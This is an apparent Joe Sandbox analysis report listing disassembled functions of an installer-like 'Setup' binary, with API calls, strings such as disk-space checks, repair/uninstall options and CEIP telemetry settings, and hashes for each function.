Opcode Fuzzy Hash: a8f2ef2a7fdd7ddae45a9fdb54f625e4a19b8e3b8d2bfd6b30433e5565bb7d1b
Instruction Fuzzy Hash: BBA13B719013089FDB01DBA8C984B9EBBF8AF19728F244159E424EB391D735DA45CF61

Function 6395C7AB Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 212COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6395C7B2

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

GetStringTypeExW.KERNEL32(00000000,00000001,?,00000001,?,63945D9C,?,00000030,80070057), ref: 6395C86B

Part of subcall function 639681DE: _memcpy_s.LIBCMT ref: 63968224

Part of subcall function 6395ECE8: _wcschr.LIBCMT ref: 6395ECFF

Strings

</a, xrefs: 6395C9CA
href, xrefs: 6395C8AE

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$StringType_memcpy_s_wcschr
String ID: </a$href
API String ID: 3166021290-1826667848
Opcode ID: cbb2886e73bc0504ad0f1f6ff4d40f03578314d66382a83fd0f92e29a8402289
Instruction ID: 1fd781110843af31eb10626811cd88cc1019510036f0552f47d6c3646f882416
Opcode Fuzzy Hash: cbb2886e73bc0504ad0f1f6ff4d40f03578314d66382a83fd0f92e29a8402289
Instruction Fuzzy Hash: B2714CB1D0121A9FDB14DFA4C4949EEBB78EF00F64F144119F922A7291D734E996CF80

Function 6C5DAA10 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 203COMMON

Download Yara Rule

APIs

GetFileAttributesExW.KERNEL32(?,00000000,?), ref: 6C5DA9D3
memset.MSVCRT ref: 6C5DAA5F

Part of subcall function 6C5D18E5: _vsnwprintf.MSVCRT ref: 6C5D1913

Strings

Microsoft\Windows\Sqm\Upload, xrefs: 6C5DFF0B

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: AttributesFile_vsnwprintfmemset
String ID: Microsoft\Windows\Sqm\Upload
API String ID: 1199674523-1629975561
Opcode ID: e10648ff8a05678236072bdbc8646dee169b80ccb0a6088260453eb77047167e
Instruction ID: 15963b020562c74978de5d6543938c381e12f31f180ba4ea44d3627ce663dcda
Opcode Fuzzy Hash: e10648ff8a05678236072bdbc8646dee169b80ccb0a6088260453eb77047167e
Instruction Fuzzy Hash: 1871F530641398ABCB51CF18CD84FDB3BA9EB55308F660AC5E924D6E91D370E9858F89

Function 6395883F Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 146COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63958846

Part of subcall function 63961169: __EH_prolog3.LIBCMT ref: 63961170
Part of subcall function 63961169: GetSystemDirectoryW.KERNEL32(00000000,00000104), ref: 639611B1

Part of subcall function 6395EB56: __wcsicoll.LIBCMT ref: 6395EB74

Part of subcall function 63961360: GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,Action,6397FE10,?,?,?,205ABF9D,Action,?,00000000), ref: 63961395
Part of subcall function 63961360: GetLastError.KERNEL32(?,?,?,205ABF9D,Action,?,00000000), ref: 639613A5

Strings

$$AvailableSpaceOnSystemDrive$$, xrefs: 6395897E
$$SystemDrive$$, xrefs: 63958895
$$RequiredSpaceOnSystemDrive$$, xrefs: 639588FB

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3$DirectoryDiskErrorFreeLastSpaceSystem__wcsicoll
String ID: $$AvailableSpaceOnSystemDrive$$$$$RequiredSpaceOnSystemDrive$$$$$SystemDrive$$
API String ID: 2351290856-2773778658
Opcode ID: 2b005a68aa16bac5d1a08b979523c0378066cdcbcb9e0a349b9c53a18929a0a2
Instruction ID: c8387739c5605812b6a8f46383abe17ac98150046df1ba38b29e804735749a25
Opcode Fuzzy Hash: 2b005a68aa16bac5d1a08b979523c0378066cdcbcb9e0a349b9c53a18929a0a2
Instruction Fuzzy Hash: 0551A272A04208CFDB04CBB8C984BDDBBF4AF1A728F144165E954EB382D734D9548F91

Function 63951003 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 126COMMON

Download Yara Rule

APIs

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 63967ACF: GetTempPathW.KERNEL32(00000100,?,?,00000000), ref: 63967AFC

Part of subcall function 63950ECA: SendMessageW.USER32(00000000,0000044A,00000002,?), ref: 63950F06

PathFileExistsW.SHLWAPI(?,?,205ABF9D), ref: 63951126
ShellExecuteW.SHELL32(00000001,print,?,00000000,00000000,00000000), ref: 6395116E

Strings

%s\BlockersInfo%d.rtf, xrefs: 639510C5, 639510CE, 6395110A
print, xrefs: 63951166

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: Path$ExecuteExistsFileH_prolog3MessageSendShellTemp
String ID: %s\BlockersInfo%d.rtf$print
API String ID: 2742019059-575943144
Opcode ID: 097b1dbfbd6739a69bc897c29ebbfb11b037bb731061f9792fdb5fe1c6966a91
Instruction ID: a11853ddc843937e2f364ba637ee86f46bed0b3f4cf93ce2571813fe942c7e69
Opcode Fuzzy Hash: 097b1dbfbd6739a69bc897c29ebbfb11b037bb731061f9792fdb5fe1c6966a91
Instruction Fuzzy Hash: 60416D725083459FD710DF68C844A5FBBE8FF9AB2CF040A29F098A7251D731D9598F62

Function 6C5E97BA Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 114windowCOMMON

Download Yara Rule

APIs

EtwTraceMessage.NTDLL ref: 6C5E98C2

Strings

|Z^l, xrefs: 6C5E98AD
<NULL>, xrefs: 6C5E9806, 6C5E9851, 6C5E9898
NULL, xrefs: 6C5E9814, 6C5E985C, 6C5E98A3, 6C5E98B1, 6C5E98B3

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: MessageTrace
String ID: <NULL>$NULL$|Z^l
API String ID: 471583391-4098726421
Opcode ID: 972402b493c0ed92e02f55359b0c7debc57974cb96eccc42d8fd886130a97c27
Instruction ID: c9a4bda74289b1a276968caa465ed14d9252548c1b8cbf7b073bbfa0f9a07102
Opcode Fuzzy Hash: 972402b493c0ed92e02f55359b0c7debc57974cb96eccc42d8fd886130a97c27
Instruction Fuzzy Hash: E3313872A0C206DFCB049F4DCC55ADA3771FB8E708F298615E5556B9A0E7B0DA81C380

Function 63955ECE Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 112COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63955ED5

Part of subcall function 63953AD4: __EH_prolog3.LIBCMT ref: 63953ADB

Part of subcall function 6395396A: __EH_prolog3.LIBCMT ref: 63953971

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 6395434E: __EH_prolog3.LIBCMT ref: 63954355

Strings

UserExperienceDataCollection, xrefs: 63955FBE
RepairRadioButton, xrefs: 63955F04
UninstallRadioButton, xrefs: 63955F5A

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: RepairRadioButton$UninstallRadioButton$UserExperienceDataCollection
API String ID: 431132790-1241949946
Opcode ID: 2128cf160ecc72ef16087ad293e3138ce01ad85faa099a690211244129baf65b
Instruction ID: ca3e897ccd67c38443cb14d2a10dec251018fe926260653466c4c1ce5e3ea2e2
Opcode Fuzzy Hash: 2128cf160ecc72ef16087ad293e3138ce01ad85faa099a690211244129baf65b
Instruction Fuzzy Hash: CD415E71500348AFDB00DBA8C944BDEB7A8AF29718F584459F559E7281DB30EA98CF21

Function 6C5D3E29 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,-00020018,00000000,80000002,CEIPEnable,00000002), ref: 6C5D3E94
RegQueryValueExW.ADVAPI32(00000000,00000002,00000000,?,?,00000004), ref: 6C5D3EB0
RegCloseKey.ADVAPI32(00000000), ref: 6C5D3ECE

Strings

CEIPEnable, xrefs: 6C5D3E35

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: CEIPEnable
API String ID: 3677997916-1389088331
Opcode ID: 60cc6a5128412c43c52e1c31109c582036fa3ccb1a27f980a14c525c60cb97aa
Instruction ID: 08a26e7e684fe78a2bdfc112862db3a5d55dee0d3e05601ae49f20d5e5422a45
Opcode Fuzzy Hash: 60cc6a5128412c43c52e1c31109c582036fa3ccb1a27f980a14c525c60cb97aa
Instruction Fuzzy Hash: 4531D231644348ABCB05DE48DD80F9A7BB5EB85348F260256FA20DADB1C371E980DF58

Function 6395381C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 79COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63953823

Part of subcall function 6394D76F: __EH_prolog3.LIBCMT ref: 6394D776

Strings

Type, xrefs: 639538B0
HTML, xrefs: 639538E1
RTF, xrefs: 639538CE

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: HTML$RTF$Type
API String ID: 431132790-2981198847
Opcode ID: 5d4f0983252d51528190cca36b7c65a0fe7a2757decdd814bf4fa5819991d24f
Instruction ID: f3a0f25e7c19b3d61b907548252780a2231e8cba0932e3922dba8f853a2ec998
Opcode Fuzzy Hash: 5d4f0983252d51528190cca36b7c65a0fe7a2757decdd814bf4fa5819991d24f
Instruction Fuzzy Hash: 23319C7180030A9BEB14CBB8C9807AEB7B4AF15B28F184299F520E72C1D771DA948F90

Function 6C5D84A3 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(00000000,00000000,?,?,?,6C5D833E,?), ref: 6C5D84AF
SystemTimeToFileTime.KERNEL32(6C5D833E,6C5D833E,?,?,?,6C5D833E,?), ref: 6C5D84BD

Strings

x, xrefs: 6C5D84CE
MSQM, xrefs: 6C5D84D8

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: Time$System$File
String ID: MSQM$x
API String ID: 2838179519-3648152566
Opcode ID: 6133eac015d52eb0457b5b876c300b03604d55eb91937dbf131fbd97e5d92ca1
Instruction ID: 3b9f516ac39090b1f4694c1f13a8948088145ea2df69c257be96e0b92c75fd6a
Opcode Fuzzy Hash: 6133eac015d52eb0457b5b876c300b03604d55eb91937dbf131fbd97e5d92ca1
Instruction Fuzzy Hash: BF11AD30A10308EBCB05DF6ACC84E8E3BBAAB05358F420965E411DBA60D370E985CF4E

Function 63967341 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63967348
GetLastError.KERNEL32 ref: 63967364

Strings

ServicesActive, xrefs: 63967354
OpenSCManager failed with error: %u, xrefs: 63967396

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: ErrorH_prolog3Last
String ID: OpenSCManager failed with error: %u$ServicesActive
API String ID: 685212868-337506387
Opcode ID: acd745880a23dd9f0216cfe90f48d2b279ede1e57e2b72d8ca5d6b9d96fbecbc
Instruction ID: 50314f4851e370cbce0457ea3a68592659ed9389585a4fbe814fed0b682b6465
Opcode Fuzzy Hash: acd745880a23dd9f0216cfe90f48d2b279ede1e57e2b72d8ca5d6b9d96fbecbc
Instruction Fuzzy Hash: 2C0124716553028FE7209BA8CC44B5A37B1BF82F28F240438E505DB2C2DB70D8008F50

Function 63957F0A Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 63957F11

Part of subcall function 6395E8E8: __EH_prolog3.LIBCMT ref: 6395E8EF

Part of subcall function 639660A8: __EH_prolog3.LIBCMT ref: 639660AF

Part of subcall function 6394B8EF: __EH_prolog3.LIBCMT ref: 6394B8F6

Strings

complete, xrefs: 63957F1C
Action, xrefs: 63957F2E, 63957F4C
Enumerating incompatible services, xrefs: 63957F3F

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3
String ID: complete$Action$Enumerating incompatible services
API String ID: 431132790-2452571594
Opcode ID: e250445e0f6c0017c4549d617c272251a944e9623f864c85f50c8ffbf6956486
Instruction ID: 957bee477fb2821919b6ecd4c8f2e876381e5dcc5ab59857b12aef7809208864
Opcode Fuzzy Hash: e250445e0f6c0017c4549d617c272251a944e9623f864c85f50c8ffbf6956486
Instruction Fuzzy Hash: 2E116D32800258EFCF11EBD4C900ADE7BB5AF1AB14F14405AF154AB252C775CA55EFA1

Function 63961360 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

GetDiskFreeSpaceExW.KERNEL32(?,?,?,?,Action,6397FE10,?,?,?,205ABF9D,Action,?,00000000), ref: 63961395
GetLastError.KERNEL32(?,?,?,205ABF9D,Action,?,00000000), ref: 639613A5

Part of subcall function 6394C71B: __EH_prolog3.LIBCMT ref: 6394C722

Strings

GetDiskFreeSpaceEx, xrefs: 639613AB
Action, xrefs: 63961369

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: DiskErrorFreeH_prolog3LastSpace
String ID: Action$GetDiskFreeSpaceEx
API String ID: 3776785849-3943406023
Opcode ID: 89374e042ae7f81f457b0360166ccd3c2c0edc4e6ab125e2b69ee0ade3dde879
Instruction ID: ead5decd5bd7568311890101d4da1882bcdbbc12c493ebf07eaf872828aec118
Opcode Fuzzy Hash: 89374e042ae7f81f457b0360166ccd3c2c0edc4e6ab125e2b69ee0ade3dde879
Instruction Fuzzy Hash: 47014BB6D04219AF8B00EF99C8448EFBBB9EB99700B008449F511F7205E770A709CF90

Function 639578D5 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 39COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 639578DC

Part of subcall function 639683FD: _memcpy_s.LIBCMT ref: 6396844E

Strings

Not Visible, xrefs: 63957930, 63957935
[%u] [%s] [%s] [%s], xrefs: 6395793E
Visible, xrefs: 63957929

Memory Dump Source

Source File: 00000004.00000002.2635226428.0000000063941000.00000020.00000001.01000000.00000011.sdmp, Offset: 63940000, based on PE: true

Associated: 00000004.00000002.2635097263.0000000063940000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635415289.000000006397F000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635547854.0000000063980000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635631210.0000000063982000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 00000004.00000002.2635742018.0000000063985000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_63940000_Setup.jbxd

Similarity

API ID: H_prolog3_memcpy_s
String ID: Not Visible$Visible$[%u] [%s] [%s] [%s]
API String ID: 1212206098-88040887
Opcode ID: 48940536b87696f0480960b87f08ca8f572790f91160e313f474d57ded443679
Instruction ID: 93ab9a04bb51a4256e2d7a13daa7d181afa8c8a90f7acb33ce13f2dbbcef247f
Opcode Fuzzy Hash: 48940536b87696f0480960b87f08ca8f572790f91160e313f474d57ded443679
Instruction Fuzzy Hash: 4F017CB5505646AFDB11CFA8C804B8DBBB0FF26A04F048540F8589B302D734E920CFE1

Function 6C5EA6A0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(netapi32,NetGetJoinInformation,00000007), ref: 6C5EA6C4
GetProcAddress.KERNEL32(00000000), ref: 6C5EA6CB

Strings

netapi32, xrefs: 6C5EA6BF
NetGetJoinInformation, xrefs: 6C5EA6BA

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: NetGetJoinInformation$netapi32
API String ID: 2574300362-2552388246
Opcode ID: 9da9b6813b5a1ee17a37df7ca5b0b6df8888ecfc0e307c9337ae8427ba66dbe6
Instruction ID: b92e3303c6b2cfdf3e4f80e06e7b7a24269a105c0510e65e966bef3ed8246647
Opcode Fuzzy Hash: 9da9b6813b5a1ee17a37df7ca5b0b6df8888ecfc0e307c9337ae8427ba66dbe6
Instruction Fuzzy Hash: F6E08071A883469BD64056B95D04A673BB8575B375B110511F529C1CC1D770E400991C

Function 6C5EA703 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(netapi32,NetApiBufferFree,00000007), ref: 6C5EA727
GetProcAddress.KERNEL32(00000000), ref: 6C5EA72E

Strings

netapi32, xrefs: 6C5EA722
NetApiBufferFree, xrefs: 6C5EA71D

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: NetApiBufferFree$netapi32
API String ID: 1646373207-4116497281
Opcode ID: 16ad16307735b5c8a92e9965fdaf5f98c544e7a9b4025c9a94a8357b47308b2f
Instruction ID: 4f6e0bde6b9f51a0e4602b61a1787c02142e6ae2cdc3e3fa8776b04a7f1e082e
Opcode Fuzzy Hash: 16ad16307735b5c8a92e9965fdaf5f98c544e7a9b4025c9a94a8357b47308b2f
Instruction Fuzzy Hash: 01E0867164830696EA50D6BB6C58A7B3EB84B99334B260911F929C9CC1DB74E8408618

Function 6C5EA8F1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 24synchronizationCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(00100000,00000000,Global\TabletHardwarePresent), ref: 6C5EA902
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 6C5EA910
CloseHandle.KERNEL32(00000000), ref: 6C5EA91E

Strings

Global\TabletHardwarePresent, xrefs: 6C5EA8F5

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: CloseEventHandleObjectOpenSingleWait
String ID: Global\TabletHardwarePresent
API String ID: 1727428665-3144360101
Opcode ID: 54103bb663a46064da6c3655be55da2db6737a94f3d7b28dc1d3980b3d58fad8
Instruction ID: c5495d4166117953ae0614c1c47930b7b853b936d8d2b5407d0804739008e7fc
Opcode Fuzzy Hash: 54103bb663a46064da6c3655be55da2db6737a94f3d7b28dc1d3980b3d58fad8
Instruction Fuzzy Hash: 5AD01732301230B7863112BAAC0CEAF6D78DBCFEF57071210F84AD36009A208802C1E9

Function 6C5D787B Relevance: 6.4, APIs: 5, Instructions: 108COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C5D78C4
memmove.MSVCRT(?,?,00000001,?,?,00000000,00000000,?,?,00000000,?,?,?,?,?,6C5ED3F8), ref: 6C5E5485
memset.MSVCRT ref: 6C5E54A4
memmove.MSVCRT(?,?,00010000,?,?,000000FB,00000000,?,00000000,000000FF,?,?,?,?,?,00000004), ref: 6C5E54C9
memmove.MSVCRT(?,?,?,?,?,?,?,?,000000FB,00000000,?,00000000,000000FF,?,?,?), ref: 6C5E54F2

Memory Dump Source

Source File: 00000004.00000002.2635960608.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000004.00000002.2635854338.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636151386.000000006C5F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000004.00000002.2636285243.000000006C5F1000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6c5d0000_Setup.jbxd

Similarity

API ID: memmove$memset
String ID:
API String ID: 3790616698-0
Opcode ID: 077d26f26fda551de48103a5ceb68b6a756d6473fb55a76aeae2e47fc2184c85
Instruction ID: b73fbd2e71afa82469375343a7c95c0ac876bab31d0b638d812f35e896712903
Opcode Fuzzy Hash: 077d26f26fda551de48103a5ceb68b6a756d6473fb55a76aeae2e47fc2184c85
Instruction Fuzzy Hash: BB315EB2600608AFDB14CE68CD84DAB77EAEB88354B05462CF84AC7B14DB30FE45CB54

Function 6C5D83E5 Relevance: 6.1, APIs: 4, Instructions: 125fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(6C5D833E,80010000,00000001,00000000,00000003,00000080,00000000,Function_00007AF4,?,00000000,?,?,?,6C5D833E,?), ref: 6C5D840B
GetFileSize.KERNEL32(00000000,00000000,?,00000000,?,?,?,6C5D833E,?), ref: 6C5D841B
CloseHandle.KERNEL32(6C5D833E,?,00000000,?,?,?,6C5D833E,?), ref: 6C5D847C

Part of subcall function 6C5D1967: malloc.MSVCRT(?,6C5F0554), ref: 6C5D1979

ReadFile.KERNEL32(6C5D833E,00000000,?,6C5D833E,00000000,?,00000000,?,?,?,6C5D833E,?), ref: 6C5D844B

